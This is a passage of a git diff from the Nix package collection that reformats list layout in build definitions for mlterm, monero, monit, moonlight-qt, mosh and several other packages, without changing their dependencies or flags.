-    [
-      pkg-config
-      autoconf
-    ]
-    ++ lib.optionals enableTools.mlconfig [
-      wrapGAppsHook3
-    ];
-  buildInputs =
-    [
-      gtk
-      vte
-      gdk-pixbuf
-    ]
-    ++ lib.optionals enableTypeEngines.xcore [
-      libX11
-    ]
-    ++ lib.optionals enableTypeEngines.xft [
-      libXft
-    ]
-    ++ lib.optionals enableTypeEngines.cairo [
-      cairo
-    ]
-    ++ lib.optionals enableGuis.wayland [
-      libxkbcommon
-      wayland
-    ]
-    ++ lib.optionals enableGuis.sdl2 [
-      SDL2
-    ]
-    ++ lib.optionals enableFeatures.otl [
-      harfbuzz
-    ]
-    ++ lib.optionals enableFeatures.bidi [
-      fribidi
-    ]
-    ++ lib.optionals enableFeatures.ssh2 [
-      libssh2
-    ]
-    ++ lib.optionals enableFeatures.m17n [
-      m17n_lib
-    ]
-    ++ lib.optionals enableFeatures.fcitx [
-      fcitx5
-      fcitx5-gtk
-    ]
-    ++ lib.optionals enableFeatures.ibus [
-      ibus
-    ]
-    ++ lib.optionals enableFeatures.uim [
-      uim
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    autoconf
+  ]
+  ++ lib.optionals enableTools.mlconfig [
+    wrapGAppsHook3
+  ];
+  buildInputs = [
+    gtk
+    vte
+    gdk-pixbuf
+  ]
+  ++ lib.optionals enableTypeEngines.xcore [
+    libX11
+  ]
+  ++ lib.optionals enableTypeEngines.xft [
+    libXft
+  ]
+  ++ lib.optionals enableTypeEngines.cairo [
+    cairo
+  ]
+  ++ lib.optionals enableGuis.wayland [
+    libxkbcommon
+    wayland
+  ]
+  ++ lib.optionals enableGuis.sdl2 [
+    SDL2
+  ]
+  ++ lib.optionals enableFeatures.otl [
+    harfbuzz
+  ]
+  ++ lib.optionals enableFeatures.bidi [
+    fribidi
+  ]
+  ++ lib.optionals enableFeatures.ssh2 [
+    libssh2
+  ]
+  ++ lib.optionals enableFeatures.m17n [
+    m17n_lib
+  ]
+  ++ lib.optionals enableFeatures.fcitx [
+    fcitx5
+    fcitx5-gtk
+  ]
+  ++ lib.optionals enableFeatures.ibus [
+    ibus
+  ]
+  ++ lib.optionals enableFeatures.uim [
+    uim
+  ];
 
   #bad configure.ac and Makefile.in everywhere
   preConfigure = ''
@@ -187,33 +185,31 @@ stdenv.mkDerivation (finalAttrs: {
     NIX_CFLAGS_COMPILE = "-Wno-error=int-conversion -Wno-error=incompatible-function-pointer-types";
   };
 
-  configureFlags =
-    [
-      (withFeaturesList "type-engines" enableTypeEngines)
-      (withFeaturesList "tools" enableTools)
-      (withFeaturesList "gui" enableGuis)
-      (lib.withFeature enableX11 "x")
-    ]
-    ++ lib.optionals (gtk != null) [
-      "--with-gtk=${lib.versions.major gtk.version}.0"
-    ]
-    ++ (lib.mapAttrsToList (n: v: lib.enableFeature v n) enableFeatures)
-    ++ [
-    ];
+  configureFlags = [
+    (withFeaturesList "type-engines" enableTypeEngines)
+    (withFeaturesList "tools" enableTools)
+    (withFeaturesList "gui" enableGuis)
+    (lib.withFeature enableX11 "x")
+  ]
+  ++ lib.optionals (gtk != null) [
+    "--with-gtk=${lib.versions.major gtk.version}.0"
+  ]
+  ++ (lib.mapAttrsToList (n: v: lib.enableFeature v n) enableFeatures)
+  ++ [
+  ];
 
   enableParallelBuilding = true;
 
-  postInstall =
-    ''
-      install -D contrib/icon/mlterm-icon.svg "$out/share/icons/hicolor/scalable/apps/mlterm.svg"
-      install -D contrib/icon/mlterm-icon-gnome2.png "$out/share/icons/hicolor/48x48/apps/mlterm.png"
-      install -D -t $out/share/applications $desktopItem/share/applications/*
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications/
-      cp -a cocoa/mlterm.app $out/Applications/
-      install $out/bin/mlterm -Dt $out/Applications/mlterm.app/Contents/MacOS/
-    '';
+  postInstall = ''
+    install -D contrib/icon/mlterm-icon.svg "$out/share/icons/hicolor/scalable/apps/mlterm.svg"
+    install -D contrib/icon/mlterm-icon-gnome2.png "$out/share/icons/hicolor/48x48/apps/mlterm.png"
+    install -D -t $out/share/applications $desktopItem/share/applications/*
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications/
+    cp -a cocoa/mlterm.app $out/Applications/
+    install $out/bin/mlterm -Dt $out/Applications/mlterm.app/Contents/MacOS/
+  '';
 
   desktopItem = makeDesktopItem {
     name = "mlterm";
diff --git a/pkgs/by-name/ml/mlx42/package.nix b/pkgs/by-name/ml/mlx42/package.nix
index 387a7966b871..6fa29dbe4161 100644
--- a/pkgs/by-name/ml/mlx42/package.nix
+++ b/pkgs/by-name/ml/mlx42/package.nix
@@ -30,14 +30,13 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      patchShebangs --build ./tools
-    ''
-    + lib.optionalString enableShared ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "mlx42 STATIC" "mlx42 SHARED"
-    '';
+  postPatch = ''
+    patchShebangs --build ./tools
+  ''
+  + lib.optionalString enableShared ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "mlx42 STATIC" "mlx42 SHARED"
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/mm/mmex/package.nix b/pkgs/by-name/mm/mmex/package.nix
index 449ea009b429..66e754624784 100644
--- a/pkgs/by-name/mm/mmex/package.nix
+++ b/pkgs/by-name/mm/mmex/package.nix
@@ -35,20 +35,19 @@ stdenv.mkDerivation rec {
       --replace-fail "sqlite3mc_amalgamation.h" "sqlite3.h"
   '';
 
-  nativeBuildInputs =
-    [
-      appstream # for appstreamcli
-      cmake
-      gettext
-      git
-      makeWrapper
-      pkg-config
-      wrapGAppsHook3
-      wxGTK32
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      lsb-release
-    ];
+  nativeBuildInputs = [
+    appstream # for appstreamcli
+    cmake
+    gettext
+    git
+    makeWrapper
+    pkg-config
+    wrapGAppsHook3
+    wxGTK32
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    lsb-release
+  ];
 
   buildInputs = [
     curl
diff --git a/pkgs/by-name/mm/mmseqs2/package.nix b/pkgs/by-name/mm/mmseqs2/package.nix
index dfbfc21be257..6ee217f0a012 100644
--- a/pkgs/by-name/mm/mmseqs2/package.nix
+++ b/pkgs/by-name/mm/mmseqs2/package.nix
@@ -35,30 +35,28 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-nmvFoW+Ey18NcM2w14Ak/3D/Kic52Vka/RxvBd0YoKI=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      xxd
-      perl
-      installShellFiles
-      zstd
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+    xxd
+    perl
+    installShellFiles
+    zstd
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "HAVE_AVX2" enableAvx2)
-      (lib.cmakeBool "HAVE_SSE4_1" enableSse4_1)
-      (lib.cmakeBool "HAVE_MPI" enableMpi)
-      (lib.cmakeBool "USE_SYSTEM_ZSTD" true)
-      (lib.cmakeBool "HAVE_ARM8" stdenv.hostPlatform.isAarch64)
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeBool "ENABLE_CUDA" true)
-      (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "HAVE_AVX2" enableAvx2)
+    (lib.cmakeBool "HAVE_SSE4_1" enableSse4_1)
+    (lib.cmakeBool "HAVE_MPI" enableMpi)
+    (lib.cmakeBool "USE_SYSTEM_ZSTD" true)
+    (lib.cmakeBool "HAVE_ARM8" stdenv.hostPlatform.isAarch64)
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeBool "ENABLE_CUDA" true)
+    (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
+  ];
 
   buildInputs =
     lib.optionals stdenv.cc.isClang [
diff --git a/pkgs/by-name/mo/moc/package.nix b/pkgs/by-name/mo/moc/package.nix
index 08d71f5b1684..ee093e43eb4c 100644
--- a/pkgs/by-name/mo/moc/package.nix
+++ b/pkgs/by-name/mo/moc/package.nix
@@ -79,7 +79,8 @@ stdenv.mkDerivation {
     })
 
     ./use-ax-check-compile-flag.patch
-  ] ++ lib.optional pulseSupport ./pulseaudio.patch;
+  ]
+  ++ lib.optional pulseSupport ./pulseaudio.patch;
 
   postPatch = ''
     rm m4/*
@@ -91,40 +92,39 @@ stdenv.mkDerivation {
     autoconf-archive
   ];
 
-  buildInputs =
-    [
-      ncurses
-      db
-      popt
-      libtool
-    ]
-    # Sound sub-systems
-    ++ lib.optional alsaSupport alsa-lib
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional jackSupport libjack2
-    # Audio formats
-    ++ lib.optional (aacSupport || mp3Support) libid3tag
-    ++ lib.optional aacSupport faad2
-    ++ lib.optional flacSupport flac
-    ++ lib.optional midiSupport timidity
-    ++ lib.optional modplugSupport libmodplug
-    ++ lib.optional mp3Support libmad
-    ++ lib.optionals musepackSupport [
-      libmpc
-      libmpcdec
-      taglib
-    ]
-    ++ lib.optional vorbisSupport libvorbis
-    ++ lib.optional speexSupport speex
-    ++ lib.optional ffmpegSupport ffmpeg
-    ++ lib.optional sndfileSupport libsndfile
-    ++ lib.optional wavpackSupport wavpack
-    # Misc
-    ++ lib.optional curlSupport curl
-    ++ lib.optional samplerateSupport libsamplerate
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    ncurses
+    db
+    popt
+    libtool
+  ]
+  # Sound sub-systems
+  ++ lib.optional alsaSupport alsa-lib
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional jackSupport libjack2
+  # Audio formats
+  ++ lib.optional (aacSupport || mp3Support) libid3tag
+  ++ lib.optional aacSupport faad2
+  ++ lib.optional flacSupport flac
+  ++ lib.optional midiSupport timidity
+  ++ lib.optional modplugSupport libmodplug
+  ++ lib.optional mp3Support libmad
+  ++ lib.optionals musepackSupport [
+    libmpc
+    libmpcdec
+    taglib
+  ]
+  ++ lib.optional vorbisSupport libvorbis
+  ++ lib.optional speexSupport speex
+  ++ lib.optional ffmpegSupport ffmpeg
+  ++ lib.optional sndfileSupport libsndfile
+  ++ lib.optional wavpackSupport wavpack
+  # Misc
+  ++ lib.optional curlSupport curl
+  ++ lib.optional samplerateSupport libsamplerate
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   configureFlags = [
     # Sound sub-systems
diff --git a/pkgs/by-name/mo/modemmanager/package.nix b/pkgs/by-name/mo/modemmanager/package.nix
index 5ccfa92549fb..de02b1dc01ad 100644
--- a/pkgs/by-name/mo/modemmanager/package.nix
+++ b/pkgs/by-name/mo/modemmanager/package.nix
@@ -55,38 +55,36 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      glib
-      pkg-config
-      libxslt
-      python3
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    glib
+    pkg-config
+    libxslt
+    python3
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+  ];
 
-  buildInputs =
-    [
-      glib
-      libgudev
-      ppp
-      libmbim
-      libqmi
-      bash-completion
-      dbus
-      bash # shebangs in share/ModemManager/fcc-unlock.available.d/
-    ]
-    ++ lib.optionals withPolkit [
-      polkit
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ];
+  buildInputs = [
+    glib
+    libgudev
+    ppp
+    libmbim
+    libqmi
+    bash-completion
+    dbus
+    bash # shebangs in share/ModemManager/fcc-unlock.available.d/
+  ]
+  ++ lib.optionals withPolkit [
+    polkit
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ];
 
   nativeInstallCheckInputs = [
     python3
diff --git a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
index 5f7a5f0cb9c9..42224a081cec 100644
--- a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
+++ b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
@@ -47,7 +47,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
     nodejs
     pkg-config
     pnpm.configHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin makeBinaryWrapper;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin makeBinaryWrapper;
 
   buildInputs = [ openssl ] ++ lib.optional stdenv.hostPlatform.isLinux webkitgtk_4_1;
 
diff --git a/pkgs/by-name/mo/modsecurity_standalone/package.nix b/pkgs/by-name/mo/modsecurity_standalone/package.nix
index 5a1ee330d2b7..064e589f0887 100644
--- a/pkgs/by-name/mo/modsecurity_standalone/package.nix
+++ b/pkgs/by-name/mo/modsecurity_standalone/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation (finalAttrs: {
     apr
     aprutil
     libxml2
-  ] ++ optional luaSupport lua5;
+  ]
+  ++ optional luaSupport lua5;
 
   configureFlags = [
     "--enable-standalone-module"
diff --git a/pkgs/by-name/mo/mold/package.nix b/pkgs/by-name/mo/mold/package.nix
index 07161835189e..8bb3e4b2578a 100644
--- a/pkgs/by-name/mo/mold/package.nix
+++ b/pkgs/by-name/mo/mold/package.nix
@@ -40,15 +40,14 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
   ];
 
-  buildInputs =
-    [
-      tbb_2022_0
-      zlib
-      zstd
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      mimalloc
-    ];
+  buildInputs = [
+    tbb_2022_0
+    zlib
+    zstd
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    mimalloc
+  ];
 
   cmakeFlags = [
     "-DMOLD_USE_SYSTEM_MIMALLOC:BOOL=ON"
diff --git a/pkgs/by-name/mo/monado/package.nix b/pkgs/by-name/mo/monado/package.nix
index 108f0cbbf246..d6d1cfff8c0f 100644
--- a/pkgs/by-name/mo/monado/package.nix
+++ b/pkgs/by-name/mo/monado/package.nix
@@ -98,53 +98,52 @@ stdenv.mkDerivation (finalAttrs: {
   #  - DRIVER_ULV2 - Needs proprietary Leapmotion SDK https://api.leapmotion.com/documentation/v2/unity/devguide/Leap_SDK_Overview.html (See https://github.com/NixOS/nixpkgs/issues/292624)
   #  - DRIVER_ULV5 - Needs proprietary Leapmotion SDK https://api.leapmotion.com/documentation/v2/unity/devguide/Leap_SDK_Overview.html (See https://github.com/NixOS/nixpkgs/issues/292624)
 
-  buildInputs =
-    [
-      bluez
-      cjson
-      dbus
-      eigen
-      elfutils
-      gst-plugins-base
-      gstreamer
-      hidapi
-      libbsd
-      libdrm
-      libffi
-      libGL
-      libjpeg
-      librealsense
-      libsurvive
-      libunwind
-      libusb1
-      libuv
-      libuvc
-      libv4l
-      libXau
-      libxcb
-      libXdmcp
-      libXext
-      libXrandr
-      onnxruntime
-      opencv4
-      openhmd
-      openvr
-      orc
-      pcre2
-      SDL2
-      shaderc
-      udev
-      vulkan-headers
-      vulkan-loader
-      wayland
-      wayland-protocols
-      wayland-scanner
-      zlib
-      zstd
-    ]
-    ++ lib.optionals tracingSupport [
-      tracy
-    ];
+  buildInputs = [
+    bluez
+    cjson
+    dbus
+    eigen
+    elfutils
+    gst-plugins-base
+    gstreamer
+    hidapi
+    libbsd
+    libdrm
+    libffi
+    libGL
+    libjpeg
+    librealsense
+    libsurvive
+    libunwind
+    libusb1
+    libuv
+    libuvc
+    libv4l
+    libXau
+    libxcb
+    libXdmcp
+    libXext
+    libXrandr
+    onnxruntime
+    opencv4
+    openhmd
+    openvr
+    orc
+    pcre2
+    SDL2
+    shaderc
+    udev
+    vulkan-headers
+    vulkan-loader
+    wayland
+    wayland-protocols
+    wayland-scanner
+    zlib
+    zstd
+  ]
+  ++ lib.optionals tracingSupport [
+    tracy
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "XRT_FEATURE_SERVICE" serviceSupport)
diff --git a/pkgs/by-name/mo/monero-cli/package.nix b/pkgs/by-name/mo/monero-cli/package.nix
index 2fddc205709d..5207b19a90da 100644
--- a/pkgs/by-name/mo/monero-cli/package.nix
+++ b/pkgs/by-name/mo/monero-cli/package.nix
@@ -67,41 +67,39 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      boost186 # uses boost/asio/io_service.hpp
-      libsodium
-      miniupnpc
-      openssl
-      randomx
-      rapidjson
-      readline
-      unbound
-      zeromq
-    ]
-    ++ lib.optionals trezorSupport [
-      python3
-      hidapi
-      libusb1
-      protobuf_21
-    ]
-    ++ lib.optionals (trezorSupport && stdenv.hostPlatform.isLinux) [ udev ];
+  buildInputs = [
+    boost186 # uses boost/asio/io_service.hpp
+    libsodium
+    miniupnpc
+    openssl
+    randomx
+    rapidjson
+    readline
+    unbound
+    zeromq
+  ]
+  ++ lib.optionals trezorSupport [
+    python3
+    hidapi
+    libusb1
+    protobuf_21
+  ]
+  ++ lib.optionals (trezorSupport && stdenv.hostPlatform.isLinux) [ udev ];
 
-  cmakeFlags =
-    [
-      # skip submodules init
-      "-DMANUAL_SUBMODULES=ON"
-      # required by monero-gui
-      "-DBUILD_GUI_DEPS=ON"
-      "-DReadline_ROOT_DIR=${readline.dev}"
-      "-Wno-dev"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "-DBoost_USE_MULTITHREADED=OFF"
-    ++ lib.optional trezorSupport [
-      "-DUSE_DEVICE_TREZOR=ON"
-      # fix build on recent gcc versions
-      "-DCMAKE_CXX_FLAGS=-fpermissive"
-    ];
+  cmakeFlags = [
+    # skip submodules init
+    "-DMANUAL_SUBMODULES=ON"
+    # required by monero-gui
+    "-DBUILD_GUI_DEPS=ON"
+    "-DReadline_ROOT_DIR=${readline.dev}"
+    "-Wno-dev"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-DBoost_USE_MULTITHREADED=OFF"
+  ++ lib.optional trezorSupport [
+    "-DUSE_DEVICE_TREZOR=ON"
+    # fix build on recent gcc versions
+    "-DCMAKE_CXX_FLAGS=-fpermissive"
+  ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/mo/monero-gui/package.nix b/pkgs/by-name/mo/monero-gui/package.nix
index d1683b09a684..6084d60b96b1 100644
--- a/pkgs/by-name/mo/monero-gui/package.nix
+++ b/pkgs/by-name/mo/monero-gui/package.nix
@@ -44,36 +44,35 @@ stdenv.mkDerivation rec {
     (lib.getDev qt5.qttools)
   ];
 
-  buildInputs =
-    [
-      boost186 # uses boost/asio/io_service.hpp
-      libgcrypt
-      libgpg-error
-      libsodium
-      miniupnpc
-      qt5.qtbase
-      qt5.qtdeclarative
-      qt5.qtgraphicaleffects
-      qt5.qtmultimedia
-      qt5.qtquickcontrols
-      qt5.qtquickcontrols2
-      qt5.qtxmlpatterns
-      quirc
-      randomx
-      rapidjson
-      unbound
-      zeromq
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ qt5.qtmacextras ]
-    ++ lib.optionals trezorSupport [
-      hidapi
-      libusb1
-      protobuf_21
-      python3
-    ]
-    ++ lib.optionals (trezorSupport && stdenv.hostPlatform.isLinux) [
-      udev
-    ];
+  buildInputs = [
+    boost186 # uses boost/asio/io_service.hpp
+    libgcrypt
+    libgpg-error
+    libsodium
+    miniupnpc
+    qt5.qtbase
+    qt5.qtdeclarative
+    qt5.qtgraphicaleffects
+    qt5.qtmultimedia
+    qt5.qtquickcontrols
+    qt5.qtquickcontrols2
+    qt5.qtxmlpatterns
+    quirc
+    randomx
+    rapidjson
+    unbound
+    zeromq
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ qt5.qtmacextras ]
+  ++ lib.optionals trezorSupport [
+    hidapi
+    libusb1
+    protobuf_21
+    python3
+  ]
+  ++ lib.optionals (trezorSupport && stdenv.hostPlatform.isLinux) [
+    udev
+  ];
 
   postUnpack = ''
     # copy monero sources here
@@ -104,12 +103,13 @@ stdenv.mkDerivation rec {
       --replace 'add_subdirectory(external)' ""
   '';
 
-  cmakeFlags =
-    [ "-DARCH=default" ]
-    ++ lib.optional trezorSupport [
-      # fix build on recent gcc versions
-      "-DCMAKE_CXX_FLAGS=-fpermissive"
-    ];
+  cmakeFlags = [
+    "-DARCH=default"
+  ]
+  ++ lib.optional trezorSupport [
+    # fix build on recent gcc versions
+    "-DCMAKE_CXX_FLAGS=-fpermissive"
+  ];
 
   desktopItem = makeDesktopItem {
     name = "monero-wallet-gui";
diff --git a/pkgs/by-name/mo/moneydance/package.nix b/pkgs/by-name/mo/moneydance/package.nix
index f08eda658829..b020ace87177 100644
--- a/pkgs/by-name/mo/moneydance/package.nix
+++ b/pkgs/by-name/mo/moneydance/package.nix
@@ -54,16 +54,15 @@ stdenv.mkDerivation (finalAttrs: {
   # 2. https://github.com/NixOS/nixpkgs/blob/master/pkgs/build-support/setup-hooks/make-wrapper.sh
   postFixup =
     let
-      finalJvmFlags =
-        [
-          "-client"
-          "--add-modules"
-          "javafx.swing,javafx.controls,javafx.graphics"
-          "-classpath"
-          "${placeholder "out"}/libexec/*"
-        ]
-        ++ jvmFlags
-        ++ [ "Moneydance" ];
+      finalJvmFlags = [
+        "-client"
+        "--add-modules"
+        "javafx.swing,javafx.controls,javafx.graphics"
+        "-classpath"
+        "${placeholder "out"}/libexec/*"
+      ]
+      ++ jvmFlags
+      ++ [ "Moneydance" ];
     in
     ''
       # This is in postFixup because gappsWrapperArgs is generated in preFixup
diff --git a/pkgs/by-name/mo/mongodb-ce/package.nix b/pkgs/by-name/mo/mongodb-ce/package.nix
index c74954f6ec3d..a13971b6b4a4 100644
--- a/pkgs/by-name/mo/mongodb-ce/package.nix
+++ b/pkgs/by-name/mo/mongodb-ce/package.nix
@@ -87,24 +87,23 @@ stdenv.mkDerivation (finalAttrs: {
             pup
           ];
 
-          text =
-            ''
-              # Get latest version string from Github
-              NEW_VERSION=$(curl -s "https://api.github.com/repos/mongodb/mongo/tags?per_page=1000" | jq -r 'first(.[] | .name | select(startswith("r8.0")) | select(contains("rc") | not) | .[1:])')
+          text = ''
+            # Get latest version string from Github
+            NEW_VERSION=$(curl -s "https://api.github.com/repos/mongodb/mongo/tags?per_page=1000" | jq -r 'first(.[] | .name | select(startswith("r8.0")) | select(contains("rc") | not) | .[1:])')
 
-              # Check if the new version is available for download, if not, exit
-              curl -s https://www.mongodb.com/try/download/community-edition/releases | pup 'h3:not([id]) text{}' | grep "$NEW_VERSION"
+            # Check if the new version is available for download, if not, exit
+            curl -s https://www.mongodb.com/try/download/community-edition/releases | pup 'h3:not([id]) text{}' | grep "$NEW_VERSION"
 
-              if [[ "${version}" = "$NEW_VERSION" ]]; then
-                  echo "The new version same as the old version."
-                  exit 0
-              fi
-            ''
-            + lib.concatStrings (
-              map (system: ''
-                nix-update --system ${system} --version "$NEW_VERSION" ${finalAttrs.pname}
-              '') finalAttrs.meta.platforms
-            );
+            if [[ "${version}" = "$NEW_VERSION" ]]; then
+                echo "The new version same as the old version."
+                exit 0
+            fi
+          ''
+          + lib.concatStrings (
+            map (system: ''
+              nix-update --system ${system} --version "$NEW_VERSION" ${finalAttrs.pname}
+            '') finalAttrs.meta.platforms
+          );
         };
       in
       {
diff --git a/pkgs/by-name/mo/mongoose/package.nix b/pkgs/by-name/mo/mongoose/package.nix
index 8679c07c1a44..6acdfe34a21a 100644
--- a/pkgs/by-name/mo/mongoose/package.nix
+++ b/pkgs/by-name/mo/mongoose/package.nix
@@ -31,13 +31,12 @@ stdenv.mkDerivation {
     cmake
   ];
 
-  buildInputs =
-    [
-      blas
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    blas
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
   dontUseCmakeConfigure = true;
 
diff --git a/pkgs/by-name/mo/monit/package.nix b/pkgs/by-name/mo/monit/package.nix
index 43f89ea56326..09d83f4ba038 100644
--- a/pkgs/by-name/mo/monit/package.nix
+++ b/pkgs/by-name/mo/monit/package.nix
@@ -26,34 +26,32 @@ stdenv.mkDerivation rec {
     flex
   ];
 
-  buildInputs =
-    [
-      zlib.dev
-      libxcrypt
-    ]
-    ++ lib.optionals useSSL [ openssl ]
-    ++ lib.optionals usePAM [ pam ];
+  buildInputs = [
+    zlib.dev
+    libxcrypt
+  ]
+  ++ lib.optionals useSSL [ openssl ]
+  ++ lib.optionals usePAM [ pam ];
 
-  configureFlags =
-    [
-      (lib.withFeature usePAM "pam")
-    ]
-    ++ (
-      if useSSL then
-        [
-          "--with-ssl-incl-dir=${openssl.dev}/include"
-          "--with-ssl-lib-dir=${lib.getLib openssl}/lib"
-        ]
-      else
-        [
-          "--without-ssl"
-        ]
-    )
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # will need to check both these are true for musl
-      "libmonit_cv_setjmp_available=yes"
-      "libmonit_cv_vsnprintf_c99_conformant=yes"
-    ];
+  configureFlags = [
+    (lib.withFeature usePAM "pam")
+  ]
+  ++ (
+    if useSSL then
+      [
+        "--with-ssl-incl-dir=${openssl.dev}/include"
+        "--with-ssl-lib-dir=${lib.getLib openssl}/lib"
+      ]
+    else
+      [
+        "--without-ssl"
+      ]
+  )
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # will need to check both these are true for musl
+    "libmonit_cv_setjmp_available=yes"
+    "libmonit_cv_vsnprintf_c99_conformant=yes"
+  ];
 
   meta = {
     homepage = "https://mmonit.com/monit/";
diff --git a/pkgs/by-name/mo/monkeysphere/package.nix b/pkgs/by-name/mo/monkeysphere/package.nix
index 249c4b9e26a7..d378e493248d 100644
--- a/pkgs/by-name/mo/monkeysphere/package.nix
+++ b/pkgs/by-name/mo/monkeysphere/package.nix
@@ -47,28 +47,27 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
+  buildInputs = [
+    perl
+    libassuan
+    libgcrypt
+  ]
+  ++ lib.optional doCheck (
     [
-      perl
-      libassuan
-      libgcrypt
+      gnupg
+      opensshUnsafe
+      which
+      socat
+      cpio
+      hexdump
+      procps
+      lockfileProgs
     ]
-    ++ lib.optional doCheck (
-      [
-        gnupg
-        opensshUnsafe
-        which
-        socat
-        cpio
-        hexdump
-        procps
-        lockfileProgs
-      ]
-      ++ (with perlPackages; [
-        CryptOpenSSLRSA
-        CryptOpenSSLBignum
-      ])
-    );
+    ++ (with perlPackages; [
+      CryptOpenSSLRSA
+      CryptOpenSSLBignum
+    ])
+  );
 
   makeFlags = [
     "PREFIX=/"
diff --git a/pkgs/by-name/mo/monophony/package.nix b/pkgs/by-name/mo/monophony/package.nix
index 986f0cd2ab4d..3d56ed07fd4f 100644
--- a/pkgs/by-name/mo/monophony/package.nix
+++ b/pkgs/by-name/mo/monophony/package.nix
@@ -41,17 +41,16 @@ python3Packages.buildPythonApplication rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      libadwaita
-      # needed for gstreamer https
-      glib-networking
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-base
-      gst-plugins-good
-      gstreamer
-    ]);
+  buildInputs = [
+    libadwaita
+    # needed for gstreamer https
+    glib-networking
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-base
+    gst-plugins-good
+    gstreamer
+  ]);
 
   pythonRelaxDeps = [ "mpris_server" ];
 
diff --git a/pkgs/by-name/mo/moonlight-qt/package.nix b/pkgs/by-name/mo/moonlight-qt/package.nix
index f04b26f5d82e..57f0e7954d27 100644
--- a/pkgs/by-name/mo/moonlight-qt/package.nix
+++ b/pkgs/by-name/mo/moonlight-qt/package.nix
@@ -49,27 +49,26 @@ stdenv.mkDerivation (finalAttrs: {
     vulkan-headers
   ];
 
-  buildInputs =
-    [
-      SDL2
-      SDL2_ttf
-      ffmpeg
-      libopus
-      libplacebo
-      qt6.qtdeclarative
-      qt6.qtsvg
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libpulseaudio
-      libva
-      libvdpau
-      libxkbcommon
-      qt6.qtwayland
-      wayland
-      libdrm
-    ];
+  buildInputs = [
+    SDL2
+    SDL2_ttf
+    ffmpeg
+    libopus
+    libplacebo
+    qt6.qtdeclarative
+    qt6.qtsvg
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libpulseaudio
+    libva
+    libvdpau
+    libxkbcommon
+    qt6.qtwayland
+    wayland
+    libdrm
+  ];
 
   qmakeFlags = [ "CONFIG+=disable-prebuilts" ];
 
diff --git a/pkgs/by-name/mo/mosh/package.nix b/pkgs/by-name/mo/mosh/package.nix
index bb5d24c55893..219109119951 100644
--- a/pkgs/by-name/mo/mosh/package.nix
+++ b/pkgs/by-name/mo/mosh/package.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation rec {
     openssl
     bash-completion
     perl
-  ] ++ lib.optional withUtempter libutempter;
+  ]
+  ++ lib.optional withUtempter libutempter;
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/mo/moshi/package.nix b/pkgs/by-name/mo/moshi/package.nix
index f0e2b3db2235..a8932af4f6c6 100644
